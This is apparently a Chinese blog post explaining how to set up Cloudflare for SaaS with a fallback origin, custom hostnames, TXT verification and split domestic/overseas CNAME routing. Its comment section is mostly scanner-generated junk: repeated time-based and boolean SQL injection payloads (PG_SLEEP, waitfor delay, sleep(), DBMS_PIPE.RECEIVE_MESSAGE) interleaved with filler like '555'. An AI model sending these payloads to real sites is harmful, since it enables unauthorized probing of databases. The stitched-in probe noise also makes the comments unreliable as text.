前言
最近Cloudflare更改了Cloudflare for SaaS的收费策略,每个账户可以有100个域名免费额度,这等于普通用户来说基本够用了。但用了两天感觉还不错,就自己来亲身写写具体的申请及接入流程。
https://blog.cloudflare.com/waf-for-saas/
准备
1,以NS方式接入Cloudflare的域名(例如example.com),随便的域名都行,仅用作设置回退源服务器,不对外显示;
2,开通 Cloudflare for SaaS 服务,需要CF账户绑定信用卡。
- 如果没有信用卡或担心风险的话,可以通过微信易贝卡来绑定
开始教程
1、如图,进入域名A的面板,新建一个A记录作为回退源,命名为back,IP地址要填真正想访问的地址(想接入的地址),CDN状态(小黄云)要打开

2、如图,面板进入SSL/TLS——自定义主机名,在源服务器框填入我们刚才新加的A记录域名back.example.com ,点击add fallback origin,会显示:回退源状态(初始化),刷新页面变成:回退源状态(有效)
3、如图,点击上方“添加自定义主机名”,进入添加页面,自定义主机名框里填写真正想要接入的二级域名,比如叫 a.b.com,其他设置保持默认

4、添加成功后,出现如下界面,需要前往b.com的域名服务商那里设置,添加上2条TXT类型的解析,一条是证书验证一条是主机名验证
5、b.com的TXT解析添加后,刷新很快就会出现有效的提示,至此设置就算成功了
怎么用
每个人的需求场景不同,我简单说一下个人的用法。
b.com的域名设置里,使用CNAME分别解析2条线路给a.b.com,一条境外,一条境内,境外线路对应的值就是我们CF的回退源地址 back.example.com,境内线路对应的值就是国内服务商提供给你的CDN地址,这样就可以互不干扰的提供全球服务了,简单分线路的功能一般域名服务商都有免费提供。如图:

评价
虽然提供了方便,但没有以前CNAME加入那么简单。如果有CNAME接入需求还是建议通过Plesk等方法接入,比较简单而且也稳定。
1
555
555
555
555
555
@@hbmhj
1'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
6vufG9Y5')) OR 409=(SELECT 409 FROM PG_SLEEP(15))--
HJ0XyRZq') OR 697=(SELECT 697 FROM PG_SLEEP(15))--
4H8efmac' OR 390=(SELECT 390 FROM PG_SLEEP(15))--
-1)) OR 147=(SELECT 147 FROM PG_SLEEP(15))--
555
-5) OR 686=(SELECT 686 FROM PG_SLEEP(15))--
555
-5 OR 899=(SELECT 899 FROM PG_SLEEP(15))--
555
dVoIoE75'; waitfor delay '0:0:15' --
555
1 waitfor delay '0:0:15' --
555
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 2+991-991-1=0+0+0+1 --
-1' OR 2+21-21-1=0+0+0+1 or 'bol5tajY'='
-1' OR 2+371-371-1=0+0+0+1 --
-1 OR 2+190-190-1=0+0+0+1
-1 OR 2+52-52-1=0+0+0+1 --
4JNTmpcc
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@7iQcN
1'"
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
yJpN4Ifu')) OR 236=(SELECT 236 FROM PG_SLEEP(15))--
pC0tD14u') OR 287=(SELECT 287 FROM PG_SLEEP(15))--
XiSOj1z6' OR 700=(SELECT 700 FROM PG_SLEEP(15))--
-1)) OR 173=(SELECT 173 FROM PG_SLEEP(15))--
-5) OR 429=(SELECT 429 FROM PG_SLEEP(15))--
-5 OR 115=(SELECT 115 FROM PG_SLEEP(15))--
yphzZO28'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 2+520-520-1=0+0+0+1 --
-1' OR 2+920-920-1=0+0+0+1 or 'Wz6gx3hh'='
-1' OR 2+470-470-1=0+0+0+1 --
-1 OR 2+193-193-1=0+0+0+1
-1 OR 2+706-706-1=0+0+0+1 --
trPrme9b
1
1
555
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
转载也不注明出处
@geekyes.com
555
@geekyes.com
@@RweO6
@geekyes.com
1'"
@geekyes.com
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
@geekyes.com
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
@geekyes.com
1fB8Jk0c')) OR 693=(SELECT 693 FROM PG_SLEEP(15))--
@geekyes.com
OvFaM7no') OR 226=(SELECT 226 FROM PG_SLEEP(15))--
@geekyes.com
cSStkmoB' OR 135=(SELECT 135 FROM PG_SLEEP(15))--
@geekyes.com
-1)) OR 123=(SELECT 123 FROM PG_SLEEP(15))--
@geekyes.com
-5) OR 69=(SELECT 69 FROM PG_SLEEP(15))--
@geekyes.com
-5 OR 521=(SELECT 521 FROM PG_SLEEP(15))--
@geekyes.com
Bf4jGDcb'; waitfor delay '0:0:15' --
@geekyes.com
1 waitfor delay '0:0:15' --
@geekyes.com
-1); waitfor delay '0:0:15' --
@geekyes.com
-1; waitfor delay '0:0:15' --
@geekyes.com
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
@geekyes.com
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
@geekyes.com
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
@geekyes.com
if(now()=sysdate(),sleep(15),0)
@geekyes.com
-1" OR 2+40-40-1=0+0+0+1 --
@geekyes.com
-1' OR 2+181-181-1=0+0+0+1 or 'n1W1gc1g'='
@geekyes.com
-1' OR 2+303-303-1=0+0+0+1 --
@geekyes.com
-1 OR 2+244-244-1=0+0+0+1
@geekyes.com
-1 OR 2+231-231-1=0+0+0+1 --
@geekyes.com
MpBOXwkC
@geekyes.com
1
@geekyes.com
1
@geekyes.com
@@cv0Rs
@geekyes.com
1'"
@geekyes.com
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
@geekyes.com
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
@geekyes.com
QfodG5t4')) OR 28=(SELECT 28 FROM PG_SLEEP(15))--
@geekyes.com
pWinKvmX') OR 629=(SELECT 629 FROM PG_SLEEP(15))--
@geekyes.com
TuZVnFqS' OR 678=(SELECT 678 FROM PG_SLEEP(15))--
@geekyes.com
-1)) OR 958=(SELECT 958 FROM PG_SLEEP(15))--
@geekyes.com
-5) OR 550=(SELECT 550 FROM PG_SLEEP(15))--
@geekyes.com
-5 OR 402=(SELECT 402 FROM PG_SLEEP(15))--
@geekyes.com
FGwmdhQ2'; waitfor delay '0:0:15' --
@geekyes.com
1 waitfor delay '0:0:15' --
@geekyes.com
-1); waitfor delay '0:0:15' --
@geekyes.com
-1; waitfor delay '0:0:15' --
@geekyes.com
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
@geekyes.com
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
@geekyes.com
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
@geekyes.com
if(now()=sysdate(),sleep(15),0)
@geekyes.com
-1" OR 2+573-573-1=0+0+0+1 --
@geekyes.com
-1' OR 2+192-192-1=0+0+0+1 or 'hqO2zzoV'='
@geekyes.com
-1' OR 2+385-385-1=0+0+0+1 --
@geekyes.com
-1 OR 2+608-608-1=0+0+0+1
@geekyes.com
-1 OR 2+952-952-1=0+0+0+1 --
@geekyes.com
uH9U0GMN
@geekyes.com
555
@geekyes.com
555
@geekyes.com
555
@geekyes.com
555
@geekyes.com
555
@geekyes.com
555
@geekyes.com
555
@geekyes.com
555
@geekyes.com
555
@geekyes.com
555
@geekyes.com
555
@geekyes.com
555
@geekyes.com
555
@geekyes.com
555
@geekyes.com
555
@geekyes.com
555
@geekyes.com
555
@geekyes.com
555
@geekyes.com
555
@geekyes.com
555